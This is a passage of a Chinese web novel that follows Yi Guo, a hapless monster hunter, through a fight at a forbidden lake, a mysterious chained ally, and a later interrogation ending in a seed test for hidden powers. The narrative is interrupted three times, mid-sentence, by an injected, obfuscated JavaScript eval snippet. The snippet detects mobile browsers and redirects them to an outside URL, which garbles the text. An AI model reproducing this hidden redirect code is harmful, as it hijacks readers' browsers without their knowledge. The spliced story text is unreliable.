急着脱困的凤一鸣猛地迸出股劲儿,拖过离自己最近的一个水马异能者,用刀刺破对方大腿,将马挡到自己身前。 又是拉替死鬼的阴毒招数。 可蚀鬼还真的如了凤队长的愿,那水马被疼醒扑腾起来的瞬间,当即被蚀鬼缠住了后腿。蚀鬼迅速将捕食目标转向体格更大的水马,甚至四肢摸索着伸出更长,试图将所有水马都拉入自己的网中。 但那一群实在太多了,就算是它,拖起来也很吃力。 “今天要是有命出去,记住,以后一定要离那女的远远的,千万记住。” 系统后怕似的叮嘱易果。而易果正一动不动盯着濒死挣扎的水马们,内心焦灼。 “只剩两分钟了,现在是扔炸弹的最好时机。”系统叹了口气。 “快扔炸弹!”凤一鸣瘸着腿朝易果冲过来,“快!否则咱们谁都别想活着出禁区!” 易果抬眼冷冷瞧她: “不。” 水马异能者们跟蚀鬼的距离已经太近了。 易果将炸弹抱的更紧,她分明记得,猎人特遣队成立最初,是一支救援特遣队。让队员们甘愿付出生命代价的,不是奖金和功绩,是更多亟待挽救的生命。 更何况,还有两分钟,对,还有时间,还没到最后一刻。 她的战利品不能死,她打定主意要救的人不能死,她自己,更不能死。 “要不说你人菜瘾大,要不得。”系统又叹了口气,已然没招。 见易果没动,凤一鸣疯了似的伸手过来抢炸弹。易果不给不给就不给,一边躲闪,一边飞快思索: 蚀鬼为什么非要躲在石碑后面,难道感应到了什么?前局长是藏那底下了?睡眠质量就这么好,外面动静这么大都不带醒一个的?他哪怕露个头,把蚀鬼顶远些都算帮大忙了。饿太久,低血糖昏厥了? 不然……也用吃的诱惑一下子? 想到这儿,也顾不得礼貌不礼貌了,易果立马摸她揣在衣服兜里的能量棒。可惜跑太久,她兜里的干粮已经全被颠掉了。 “千万别跟我说,是因为那破石头上有前局长的名字,所以你不舍得炸,追星都追到禁区来了,你们这些非异能者是不是疯啦!” 凤一鸣招呼三队的一起上前,七手八脚跟易果抢炸弹。 “你以为前局长是多完美的英雄,真实档案里,他严苛、暴戾,会因为手下一个异议就睚眦必报,断人前途。” 凤一鸣笃定的,就像自己曾亲眼所见,三队其余人也都点头附和。她每个字眼都在不屑: “古早传言里什么宽厚,什么正义,都是放屁。就连他当年那点本事,恐怕都是经了数倍夸张,专门编来唬你们这些脑残非异能者的。” “你!” 易果听不下去,张牙舞爪抡起炸弹,把跟前人都划拉开。她把帮手挡到身后,扎起马步,恼的嘴唇都在哆嗦。 以为易果要在愤怒中爆发出什么了不得的必杀招,系统荧光棒都挥起来,“对对,干他们,干他们。” 易果应声抬起脸,万分严肃发出警告: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579816|171594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你,你们,声音小些。” “害呀——” “客观讲,”易果指了指周遭半人高的连片荒草,“就这儿进食环境,他现在,可能营养不良,缺钙,走路慢些。” 又瞥了眼浑浊湖水,“经常,经常泡在湖里的话,难免皮肤也要皱巴,显丑。” “水质要是,不健康,喝太多,估计牙,嗯牙也得老化,掉不少。” 易果说着沉痛地看向纪念碑方向,“除了他老了,丑了,其他都不容你们诋毁。” 系统简直不敢听,“说句公道话,我说你你你,你诋毁的更狠呀。你说你豁出去了,想靠玩骂人游戏把人家激出来,我都信。” 易果说的投入,丝毫没发现,被她狗似的牵在身后那位,眼睛里的混沌正随她话语渐渐消失,双目变得清明的同时,不知道怎么回事,后槽牙也咬紧了。 三队全员皱起眉对着易果使劲琢磨,怎么品,易果都在拐弯儿骂人,但这家伙满脸的悲愤又不像装的,反倒像个受害者似的。 一群猎人与一位菜鸡专心内斗,浑身破绽,手拉手在触犯捕猎大忌的路上越走越远。让另一头天生猎手蚀鬼,脑袋溜溜一转,拖着口水,起了包圆儿的心思。 蚀鬼抓住这绝佳的偷袭机会,绕出石碑,悄没声地潜过来。当几人看见影子罩到头顶,发觉不对时,蚀鬼已经冲着一众脑瓜,嘴巴直接开到缸那么大。 “哈嗷——” 鲨鱼般一圈又一圈的黑色利齿直延伸到蚀鬼嗓子眼,与表皮不同,蚀鬼口腔里遍布深深浅浅的红色,如腐熟的花朵,散发腥热灼目的气味。 熏的人惊惶不安,又打了麻药般让人动弹不得。 真正的死亡之嘴。 生死存亡的紧要关头,易果牵在身后的人忽然轻轻一动,一股非人凶悍力道无声暴起,利落抬腿,将蚀鬼的脖子踹了个对折。 “咔嚓。”脆的真切,脆的毛骨悚然。 三队大惊,系统大惊,但易果的后脑勺啥也没瞅见。听到身后动静不对,易果慌张转身,只瞧见他帮手仍然低头杵在原地,一副懵懂无助的样子。 不远处蚀鬼晕头转向撑着石碑爬起来,脖子不知什么时候竟歪成了直角。 易果以为鬼东西又在偷摸变异,立马拉紧她忠诚帮手,机灵地往跟前带了带。 “别别别——” 三队忽然拔腿逃命,易果一慌,牵着他帮手也跟着跑起来。结果见易果动,三队互相搀扶着甩开胳膊腿,拼命跑的更快了。 “你身后那人,哪儿找来的!”凤一鸣哑着嗓子大喊。 “?”易果早就觉得奇怪,这还不明显吗。她无奈坦白,“司机,都,都见过呢。” 凤一鸣当即闭了嘴,冷汗狂流。因为刚才被蚀鬼追那会儿,那小司机被她拉去挡了一下,这会儿破洞脑壳里的血,估计都要流干了。 系统总觉得有道意味不明的目光,正垂目凝视自己,压低声音,偷摸问易果: “就你说上回被炸碎前,那个突然出现的人,他,他有什么关键特征没有?” “你说前局长?”易果觉得这会儿每个人说的话都有点躲躲闪闪奇奇怪怪。 她仔细回想,脸的话,她其实看的很模糊,但是,“他身上湿透了,像在湖里泡过。” 想到这儿,易果这才发觉自己牵住的手也湿淋淋的。 被凶残蚀鬼泼水了,口水?易果有些担心,正回头,被一只手捂住眼睛。 “好玩吗?” 6. 真挚队友情 什么玩,谁好玩,玩谁? 易果怔了一瞬,毛茸茸的睫毛在别人手心忽扇来忽扇去。 没瞧见她“忠诚帮手”低头扫过她的着装、她怀里的炸弹,眼神时而晦暗,时而清醒。随后又探寻般看向她泥猴似的嘴巴,不知回想起什么,太阳穴抽抽两下,淡漠双眼中无名火起,抬手缓缓伸向她脖子。 捂眼拧脖,肌肉记忆般熟练作出一个标准暗杀动作。 “嘤……快跑,快甩开他跑……个别新生异能者会有一个漫长混沌期,看着人模狗样,其实黑白不分……” 怕被听见灭口似的,系统说的又急又快,但声音太小,易果一个字都没能听清。 这时蚀鬼猛地从后面又扑过来,显然要为刚才挨的那一脚报仇。帮手轻“啧”一声,晃动肩膀避开啃咬,头也没回地一个肘击过去,在蚀鬼面中砸出见骨深坑。 等他收拾好心情,再度摆出拧脖架势,被激怒的蚀鬼又一次毫无眼力劲儿地扑到跟前。 被惹的不耐烦,他随即彻底放开手脚,瞄准蚀鬼要害,拳拳见骨。蚀鬼枪弹都穿不破的外皮,在他拳头下脆成了糖纸,在一拳又一拳的闷响中,巧克力脆皮般迅速崩裂瓦解。 其实也就片刻功夫,易果只觉得自己被拎着脑袋来回晃荡。当她突然被一股冲击撞飞出去,慌忙回头,见蚀鬼还在原地抱着石碑,让她松了口气。 但她也不大解,怎么每次看,这蚀鬼的形状好像都变得不一样? 不远处三队七零八落藏在草窝里,紧张注视着易果这头的动静。凤一鸣头发散乱,像经历了人生中最漫长的半天,折腾的只有进的气没有出的气。 一旁张哥连连爆粗,眼睛和鼻孔都圆咚咚的瞪着,在害怕和更害怕间疯狂摇摆: “沃??#@日!拆了,那男的徒手把蚀鬼拆了!啧啧这会儿看清了,这哥们儿长得可真tm惊天动地的帅啊,不是,这哥到底什么来头?!” 凤一鸣暗自心虚,这号人物,她刚开始竟还想着把对方也当诱饵。 但转眼他们都屏住了呼吸。离的近时没察觉,此刻距离拉开,他们都清楚地瞧见,易果身后那陌生男人脖颈后面隐约显出一条黑色锁链,其上暗纹流淌,毒蛇般拖在草径中,一路蜿蜒到湖心。 禁锢咒。 身为咒言异能者的凤一鸣心头大震,眼前这近乎实体化的禁锢咒形态,与她在咒言特训班加密资料库中只见过一次的,那个可以说是当下各类禁锢咒“祖宗”的初代禁锢咒,看起来非常像。 按资料中所说,初代禁锢咒,是当年与神树一同现世的镇凶匣的伴生品。上面的暗纹,皆是经过形变的上古咒言文字。 但凡投入镇凶匣者,都会被镇凶匣自动施加禁锢咒。一旦出逃,便会被实体化的咒言锁链捆缚至死。 与他们咒言异能者现在用来圈禁猎物的简易版本不同,祖宗级别的禁锢咒,不仅禁锢肢体,还禁锢五感,禁锢欲望。是最初,也是最无懈可击的禁锢咒。 传闻当时前局长带队围剿蚀鬼头子那会儿,带了镇凶匣这个大杀器。可后来行动失败,匣子也不见踪影,都猜测是被蚀鬼头子毁了。 那如果没被毁呢? 若这陌生男人身上的,是真的初代禁锢咒,那么唯一一种可能…… 他是从镇凶匣里逃出来的! 凤一鸣被雷劈了似的猛地站起来,又“咣当”重新趴下: “不对,不可能。”她自言自语,“没有东西能从镇凶匣里活着出来,更何况过去这么多年……” 她慌忙揽过身旁的机器狗,使劲拍打狗脑袋,只得到一串“程序紊乱,自我修复中,请勿打扰”的机械回复。 顿时凤一鸣慌的趴也趴不住了,她很清楚,如果那男的真和镇凶匣有关,那他恐怕是比蚀鬼还要危险的不明怪物。 颤颤巍巍摸出一根笔,凤一鸣认命了似的,开始写遗书。 这时张铁柱忽然也被雷劈了似的蹿了起来,看看远处易果,又扭脸看看那浑身杀气的黑衣男: “等会儿,所以说她和他,怎么,到底什么关系?!” 一句话直指今天整件事中最违和的关节。 没错,来之前三队调查过易果,确信她绝对也第一次来禁区。怎么就跟牵宠物似的,牵来这么个逆天外援? 凤一鸣眼神沉下来,“或许她一路都在装菜鸡耍我们玩,我看她深不可测。” 说话间,他们看见“深不可测”的易果终于发现了草丛里的黑色锁链。易果低头严肃端详片刻,忽然左右快速瞄了瞄,捧起那仿佛多看几眼就能要人命的不详凶物,深吸了口气,结结实实张口咬下。 “?!” “em……”凤一鸣绞尽脑汁分析,“记下来,说不定是什么操控初代禁锢咒的,罕见驯服手段。” 三队全员:“对对对对。” 这边系统耐心等着易果收回嘴,经此一役,它的抗压能力已与其他的统不可同日而语。系统平静问道: “怎么说。” “硬。” “重新说。” “古董,真品。” 易果虽然比不了凤一鸣,没上过什么精锐培训班,但对“厉害”的东西,她好奇心从来旺盛。平日维护战利品时,她几乎从猎物身上见遍了市面上各种常用的禁锢咒,早就推测过其原始形态。 “禁锢咒界,太,太奶。” 易果刚自信下了结论,转瞬就捂住了嘴巴,这才意识到自己刚才有多冒险。 但系统欣慰了不少,抛开鉴别方法不提,它甚至对易果的智力重燃希望。 只要是个正常人,知道了这锁链来历,肯定能立刻明白这种级别的凶器,绝对不会穿在一个无辜者的身上。 易果捡来的这位‘帮手’,只要是个正常人,一眼就能看出可比跟前那无眼蚀鬼凶险的多,要想保命,一丁点都不敢再惹。 于是系统立刻指挥易果,“听我的,把链子缓缓放下,并伸出你的手掌心,春风般将它轻轻擦拭干净……” 然而没等系统话说完,易果掏出一副抗侵蚀双层手套,迅猛戴上又迅猛出手,抓起一截锁链踩在鞋底,攥住两端,给鱼刮鳞似的开始左右左右凶猛拉扯。 初代禁锢咒,专门拴凶怪的东西。在场这几位里,谁是标准凶怪? 当然只有一个蚀鬼。 咒言锁链那头肯定连在蚀鬼身上。 易果小脑瓜里完全没想过还有第二种可能,全然沉浸在抓住蚀鬼把柄的快乐里。 在她暴*力扯动间,锁链上不断喷溅出金红色光点,宝石般散落满地,又迅速消失。易果怔了一下,但她战斗意志坚定,没有被这凶器的绝美外表所蛊惑。 她跟系统说,传言禁锢咒链子捆住谁,就会同化为谁身体的一部分,她捏着锁链就像捏着蚀鬼的七寸,十分有把握: “看我的,蚀鬼马上就得疼,疼死了。” “到底是我的眼睛炸啦,还是你脑仁儿炸啦?!这可是实体诅咒,快——甩——开——” 系统发出生命绝唱般的嘹亮嘶吼,“跟蚀鬼到底有毛关系?炸弹叠诅咒,一会儿蚀鬼死不死我不知道,你死是肯定的!” 身后帮手正与蚀鬼打到激烈处,风声窃语声脚步声筋肉崩断声骨骼摩擦声……周遭细小的声音,一到他耳中像放大了数倍,吵的他难以忍受。 他觉得似乎从睁开眼睛起,胸中就满怀怨忿。拳拳到肉的搏杀中,埋藏在他心底的杀戮欲越发暴涨,让他感到痛快的同时,也生出一丝困惑: 自己到底是人,还是什么别的东西?或者自己是不是人,根本就不重要。 念头一出,他胸腔深处似乎传出闸口断裂的声响,但他不在乎,他要迈过去了,迈向不再遭受束缚的另一侧。 然而就在这时,他忽然感到脖子后面被拽了一下。从脖颈到后背腾起的灼烧感直插脊椎,让他骤然清醒。他分神想要回头的瞬间,跟前蚀鬼趁机挥起利爪,豁开他胸口血肉。 鲜血泼溅,落地喧哗有声。 他却像毫无痛觉,转头看向蚀鬼,定定看向它。 足下鲜血无声沸腾,映的他眼瞳深处透出一线血光。但他却在喧闹血色中,越发冷肃凛厉。 屠猎者的杀意被他习惯性地抿进口中,他像过往千百次那样,双眼瞄住猎物,沉默逼近,随即悍然出手。制住蚀鬼的利爪,将其肢体一处处拆卸,如庖丁解牛般,显露出惊人的冷静与狠戾。 蚀鬼吃痛暴起挣扎,但他双手不松丝毫,胸前伤口在激烈较量间撕裂更深,随鲜血淌出的,是他仅剩的为人意志。 虽有皮囊,但他的神智已如烛火残芯,飘摇将熄。他像从地狱爬出来的极恶之鬼,正将是否为人的困惑全然抛开。 就在他将全然沦为被杀欲驱使的怪物那瞬间,突然,脖子后面又被拽了一下。 锁链乱七八糟缠在他和蚀鬼身上、腿上,他伸手往后捞了一把,竟没捞着。暴躁回头间,意外撞上一双黑白分明的漂亮眼睛。 眼中有焦急,有关切,似乎还有一些自责。 这是看同伴的眼神,看人的眼神。 “帮手”注视着易果的眼睛,为人的意识从摇摆的绞索上倏忽降落,重回他的身体。 他再次清醒,彻底清醒。 “不厉害也,也没关系,没关系。” 在不远处草窝里一连串惊呼声中,易果一边磕磕巴巴安慰人,一边扯住帮手的衣服,卖力把他从与蚀鬼的纠缠中“解救”出来。 “不用逞强,就算你废物也没关系,我的,我朋友说,有人就是太废物,才,才能,被好运选中。” 帮手抬眼看了看头顶的云层,眼神又想混沌了。 其实易果上一刻还在争分夺秒搓磨手里的禁锢锁链。 她以为帮手一直都老老实实跟在自己身后,听到动静不对回头看时,帮手已经和蚀鬼粽子似的缠在一起。双方动作太快招数古怪她瞧不真切,反正怎么看都是帮手在挨打。 一时间刚错过的动作大戏在她脑海中惊心动魄重新上演,易果顿时参透了很多。比如天杀的蚀鬼肯定又搞偷袭,比如偷袭了那怎么自己一点事没有,比如肯定是帮手替自己挡了灾。 意外之余,她暗自震撼,点智引发的“印随”行为可真感人至深。 至于“为什么自己扯动咒言锁链时,蚀鬼没动,动的是帮手”这种微小细节全被她飞快掠过。 无数美好词汇酝酿在易果嗓子眼儿里,她握住对方不久前还准备绕后拧她脖子的手,紧紧握住。 两人一个满脸泥,一个满脸血,面对面的模样都瞧不清,但紧握的双手中那满满的队友情谊,看起来万分真挚。 “跟,跟我想象的,是不一样。但你,不丢人。不协调,迟钝,不丢人,成长,咱肯定还能成长。” 易果挑词挑句的,小心呵护着帮手的自尊心。怀中炸弹越来越烫,易果意识到炸弹已经进入最终倒计时的读秒时刻。她一边拉帮手后撤,一边往四周看,要为他找一处安全的掩体。 接下来自己只要卡点掷出一个最佳角度…… 思索中,易果又抓紧狠踩了几脚地上那截咒言锁链,趁机替*人出气似的。 系统啪啪拍脑门儿,战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579817|171594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战兢兢小声道:“要命,快别踩了,你先抬头,抬头看看他脸呐。” 易果觉得奇怪,然而帮手满脸杀意她还没来得及看,先瞄见对方胸前血淋淋几道爪子印。 未凝固的血还汪在几近见骨的伤口中,直看的易果双目刺痛。她后退半步,碰了碰他的衣服下摆,果然,整件黑色上衣都已被血浸透。 第一个成功救助的异能者,她的头号“战利品”,一个没留神,就有瑕了?! 帮手看看易果的炸弹,又垂眼看看地上的咒言锁链,随即又一言不发转头看向身后。 虽然表情不明,但在易果眼里,这就是对蚀鬼的无声控诉。 浑身热血“噌”地直冲易果脑门,她再也顾不上什么角度、时机,猛地转身,抡起炸弹朝蚀鬼砸过去。 与此同时,机器狗程序自我修复完毕,重新亮起的双眼隔空锁定蚀鬼,助力炸弹引爆目标。 “三,二,一——轰!” 爆炸倒计时归零瞬间,熟悉的火团再次凌空爆开,但这次,易果安然立于食人火光之外。 濒死的蚀鬼挣扎着往湖中躲,但炸弹追着它扎入湖心。刹那间蚀鬼化为碎裂残块,再无拼凑可能。 轰鸣骤起又骤落,一声金属断裂的铿然轻响,被悄悄掩盖。 炸了。 易果终于稳住被冲击逼的连退几步的身体,大脑空白了一瞬,回神后摸摸自己,又立刻摸摸身边帮手。 不远处水马群与爆炸点隔了一段距离,除了被崩出满头满脸的泥水,看起来没受太大影响。 “从未如此热爱这个世界,感恩。”系统长舒一口气。 易果按住仍在剧烈起伏的胸口,正试图放缓呼吸,忽然眼睛余光瞄见湖边前局长的黑色纪念碑。 石碑被爆炸冲击震开数道裂纹,在她注视下无声坍塌。 “是救援到了?” 脑海中那声悠长哀叹与此刻心头腾起的自责山一般倒向易果。 易果没心思品味炸死蚀鬼的成就感,拔腿冲向前局长纪念碑,担心人就闷在石碑下面。 帮手看着易果跑走,挑了下眉,像是若有所思。 他身后,咒言锁链拖着断裂的尾端,活物一样从水里爬出,悄悄潜进他的影子里,消失了。 蚀鬼已死,随着爆炸激起的水雾逐渐散去,虞渊湖边骤然陷入诡异的平静里。唯独一个机器狗,精神状态健康如初,正叼着红色小旗,围着岸上蚀鬼的残骸兴奋打转。 “快回来,到这儿来,快!” 荒草丛里,三队几人拼命夹着嗓子小声呼唤机器狗,想趁易果没在独占炸死蚀鬼的功劳。但狗子正投入地收集新的现场任务数据: “发现高级战利品,成熟期蚀鬼,数量1,战绩归属人,战绩归属人……” 机器狗双眼中电子光点飞快闪烁,昂起头颅依次扫过凤一鸣几人、黑衣男人,以及不远处撅着屁股趴地上凶猛刨坑的易果,最后将视线停在黑衣男身上。 任务中途冒出来的黑衣人,数据全然未知,机器狗将人从头扫到脚,又从脚扫到头: “发现未登记新生异能者一名。目测身形比例,极优,肌肉强度,极优,爆发力,极优,综合能力评估,不详。立场,不明,心情,差,潜在饥饿暴虐值,不可知,道德指数,略。” 犹豫片刻后,机器狗下了最终判断: “定位,完美目击者。” “你是真的狗!”草窝里凤一鸣恼的一把草都薅起来,简直不敢相信自己的耳朵。 “现战绩归属人存疑,请目击者提供线索。” 机器狗摇头晃脑绕着易果这位帮手奔跑跳跃,红色小旗献宝似的插到人两脚之间。 帮手皱着眉,抬脚把狗踢翻肚,看见挂在机器狗肚子一侧的备用对讲机,又用脚尖把狗勾起来。 机器狗十分受用,哼哧哼哧又问一遍: “杀死蚀鬼战绩归属人存疑,立功者特遣三队or临时外编人员易某,请提供线……” 没等机器狗说完,帮手从不远处的易果身上收回视线,转而扬起下巴,朝斜对面一心装草的三队点了点。 “收到!” 机器狗当即摆出一个端正坐姿,“现记录如下,本次虞渊禁区行动中杀死蚀鬼战绩归属人,三队全员。括号,不含临时编外人员……” 几乎同时,“干!偷家了,我们被偷家啦!”“小饭桌”吱嗷一声忽然开始激情骂街。 但这次愤怒之外,“小饭桌”明显在慌张。听骂听出经验的易果顿时跟着紧张起来,揣回两只泥爪,迷茫向身后张望。 “怎,怎么呢。” “快别刨了,”系统说的很快,但不明电流声扰的他声音时断时续: “功劳必须是咱们的,否则你这第一次任务什么都没捞着,就算失败,一旦失败,你可就得……” 说话间易果望见帮手朝机器狗蹲下,凑近了好像说了句什么。机器狗摇动的尾巴忽地定住,易果觉得不对正站起来,刹那间形势骤变。 毫无预兆地,机器狗头顶警示灯骤然爆裂,最高级别的警报声如同被释放的狂暴蜂群,猛烈冲向在场者的耳膜。易果捂住耳朵也没用,晕的要站不住。草丛里凤一鸣几人抱着头爬起来,又接连倒下。 昏过去前,易果看见帮手掠过自己,看向前局长的纪念碑。 那眼神平静,却又有着易果从未见过的幽深。 当日,从虞渊禁区执行清扫任务的特遣三队发回的一句陌生留言,当即引发管控局全体高层剧震: “通知你的上级,001号队员刑与归队。” 7. 种子测试 好消息,前局长被救了。坏消息,跟易果无关。 易果从昏迷中醒来后,从门外嘈杂的新闻播报中,第一时间得知了这个惊天消息。紧接着她又花了好一会儿才理解对面的人在跟自己说什么。 大意有二,其一,她们被救援队从禁区接出来后,当即被猎人监督部门带走调查,调查理由: “三队在执行任务过程中,疑似发生恶劣队内伤害事件,若确认属实,将对加害者施予严厉处罚。” 其二,在任务中一度被三队联手坑做“人形诱饵”的受害者易果本人,成了他们口中的“加害者”。 “长期无法摆脱非异能者身份,令你对现实心生不满吗?” “被三队选中加入队伍后,你并未珍惜机会,反而试图抢功,阻碍任务进行。除嫉妒心理外,你的深层动机是什么?” “你为什么能操控战斧炸弹,用了什么手段,谁教你的?” “此刻你到底只是个‘普通人’,还是个伪装的异能者。” 监督一分局问讯室里,离最初说好的60分钟不知道过去了多久。桌对面一男一女两位调查员,一人举着录音笔,一人拿着纸质笔记本,全程带着公事公办的冷硬。 易果草草换掉了脏外套,但脸还没来得及洗。四个问题翻过来倒过去的问,每被问一次,易果都像第一回听见一样慌乱。 这场询问的存在本身,就极为荒谬。谁加害了谁的真相,根本没人在乎。 愤怒过后,易果陷入一种无力茫然。她觉得自己的脑仁像在虞渊被踩烂后又重新组装了,哪儿哪儿都在钝痛。 她一眨不眨的瞧着自己被翻的底朝天的小挎包,嘴里突然冒出一句,“蚀鬼,死透了吗,那个湖……” “没有蚀鬼。” 调查员异口同声,一人告诉易果:“是炸弹爆炸的冲击扰乱了你的记忆。” 易果歪头想了想,迟疑地说:“那,那其他幸存者……” 调查员再次打断她,“根据接你们回来的救援队反馈,只在虞渊周围发现了三队相关在编及临时人员,以及因不明原因陷入沉睡的大群b级水马异能者。 不存在其他幸存者。” “不存在。”易果手指神经质地抠着掌心,迷茫地看向桌对面的调查员。 而对方始终像机器人似的,静静审视她,“请继续回答问题。” 易果磕磕巴巴,人嘴分离,但脑子里全是迈进问讯室前,回头瞥见的刚刚驶离的一辆救护车。 那车开的很快,却没有鸣笛,显得有些鬼祟。 救护车要开向哪儿? 救护车拉的是谁? 进问讯室前,三队都坐在一旁廊下瞧着她,他们和自己都没在车上,那任务现场还有谁需要被救护车拉走? 一想到这儿,她的脑袋像触发了什么强制指令,蜂群攻击的强烈余响再次袭来,痛击她,扰乱她,让她的头脑变得迟滞、混沌、空白。 “咚咚。”一个调查员敲了两下桌面,催易果继续说。 易果条件反射的局促,恍惚间觉得自己又在参加什么价格高昂的口吃矫正训练。她扒住桌子边,脑仁和手指一起用力集中精神,可注意力溜着门缝就走了。 门外走廊里,挂在墙上的小型网络电视里正吵的热闹。有关前局长的最新爆料正一条一条疯狂刷新。 比如,“惊天要闻,二十年过去,昔日陨落战神竟死而复生!” 又比如,“据可靠人士证实,的确从某高危禁区发现了疑似管控局前局长的神秘男子。” 各路媒体当家记者似乎都堵在管控局门前,争抢机位,争夺话筒,“前局长为什么还活着,这是他身上最大的未解之谜。” “而管控局现副局长凤久表示,安全起见,在详细调查结果出来之前,将对前局长的一切信息保密……” 此刻外面关于前局长的报道铺天盖地,但易果总觉得,有什么关键信息被隐去。 那关键信息与自己之间的关联,似乎正在被切断。 易果靠在椅子上,扫过这间窗户都没有的狭小问讯室,又垂下脑袋,抠指甲缝里的泥。 到底藏在什么地方了?明明纪念碑下面都快被她刨空了。自己走出来的,还是被哪个踩了狗屎运的家伙救出来的? 易果有不甘,但也欣慰。总归出来就好,毕竟一个人等了那么久。 一个人? 易果直愣愣地盯着跟前的黑色方桌。吊灯悬在黑漆桌面上方,大红色塑料灯罩在桌子上打出一个弧形投影,长长一画,像道贯胸而过的新鲜伤口。 眼熟。易果指头尖抽了抽,但脑海又是一片空白。“小饭桌”挂在她胸前,可怜兮兮的一团,像朵晒蔫儿缩水的向日葵。易果弹掉上面的灰点子,悄悄用手指挠它,听到的仍是一连串嘶嘶拉拉的系统杂音。 醒来后易果就再没听见过系统跟她说话。她有些鼻酸,忧伤地嘟囔,“哑巴。” 话没落音,杂音忽然消退了一瞬,易果刚燃起希望,一句机械提示音冒出来: “0收惩罚——48h随机食物同化,现在开始。” 易果猛地一怔,坐直了。 她想起来了,在虞渊和系统断联前,系统一直在提醒她有什么危险。因为她使用了系统资源,但最终一个“人头”都没有捞到,所以要面临惩罚。 但食物同化是怎么个意思,谁要同化成谁? 易果抠完手指又抠下巴,焦虑间,觉得头顶也开始痒了。 对面两个调查员齐刷刷盯着她挠头,模样十分警惕。 机器狗回传的任务现场影像并不连贯,让监督局无法对易果的反常举动下判断。两个调查员接到的真正命令,其实是查明易果是否存在隐藏异能的可能,而给易果的“罪名”,都是借口,到底谁坑了谁,他们不在乎。 “致命迷糊,不像藏了异能。” 一人在笔记本上乱码似的写,着重画了个圈。 另一人瞥见,无障碍领会,摇了摇头,接过笔记本写:“装的。真迷糊成这样的非异能者,早死一百次了,绝不可能从禁区生还。她深不可测。” “我,我什么时候,出去。”易果身子前倾,焦急地问。 “那就得先如实回答我们,你到底有没有伪装异能。” “我没,异能。”易果皱皱巴巴。 调查员冷哼,“撒谎。” “嗯?”易果还是头一回面对这种质疑,一时间脸蛋红红,暗搓搓反问,“我不是,废物吗?” 调查员震惊易果怎么说着如此晦气的词,还能跟被夸了似的,不好意思起来了。一人埋头在笔记本上奋笔疾书,“深不可测,果然深不可测。” “现在是你最后的坦白机会。” 他们对易果使出最终手段,“若你继续坚持隐瞒,我们有权撤销你于管控局公益岗的职位,并将问讯期无限延长。” “我没!”易果顿时慌了,这在她听来就是宣布要嘎了她再囚禁她的尸体。 她还有伟大职业理想要践行,她必须尽快出去,想办法解掉身上那什么“0收惩罚”。可她嘴巴张了又张,到底没说出几个有用的字。 她实在没什么能坦白的。 易果甚至想装个急病,好申请非异能者人道主义援助,来帮自己脱困。但偏偏她健康的要命,不说别的,她明明记得之前在禁区被凤一鸣的禁锢咒狠狠勒了好几下,正常人早该疼的动不了了,但怪的是,她这会儿不疼不累不喘,皮实的,活像一颗刚挖出来的金刚土豆。 眼看着,调查员开始商量把易果往哪个关押室塞了,易果急着插话,但根本没人搭理她。 他们故意把易果晾到一边,从桌子下面掏出保鲜盒吃晚餐。易果皱眉瞧着餐盒里那一袋袋高价营养补剂,口味单一,配色暗淡,连袋子胖瘦大小都不一致,顿时更难受了,抓心挠肝,片刻都坐不住的难受。 这时调查员接了个电话,态度忽然就变了。 “本着严谨公正的工作宗旨,我们破例再给你一次机会。” 他们迅速收回餐盒,话还没说完,一人推开问讯室的门进来。一身深色制服,瘦高,戴了个掩人耳目的古怪面具,脚步匆匆。 两个调查员立刻起身迎接,但来人并没有理会。将带来的手提箱平放在桌上,从里面小心取出一个戒指盒大小的金色盒子,轻推到易果面前。 易果抬头疑惑地看了对方一眼,她的呼吸拂过盒子的瞬间,盒身刹那间变得透明。透出盒底浅浅一层泥土,和一颗墨绿色种子。 种子通体遍生大地般细密的纹路,内核莹润,虚虚悬浮于中心。 灯光下,如同一颗剔透的美丽瞳仁,安静注视易果。 身旁调查员没忍住发出一声赞叹,而易果却猛地缩回了扒在桌沿的手。她全身抗拒地往后撤,可椅子太沉,让她被夹在桌椅之间,动弹不得。 一个调查员多看了易果几眼,佩服她这害怕装的浑然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579818|171594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天成,倒真像个神经脆弱的非异能者。 见到访的贵客没有做声,调查员立刻躬身凑近小盒,殷勤地帮着介绍: “这是以神树落叶为珍贵原料,运用最前沿生物科学技术,制成的二代神树种子。” 二代神树种子,虽然是复制品,但因为与神树一脉相承,所以能敏锐感知异能,并在与异能共鸣的过程中,展现出相应级别的生长变化。 “一切伪装,在这神圣种子前,都无处遁形。”调查员把手放在胸口,对着种子拜了拜,“这就是检测异能的最准确手段,著名的种子测试。” 调查员示意易果快打开盒子,见易果没动,一人开玩笑说: “不用担心,测试没有副作用。 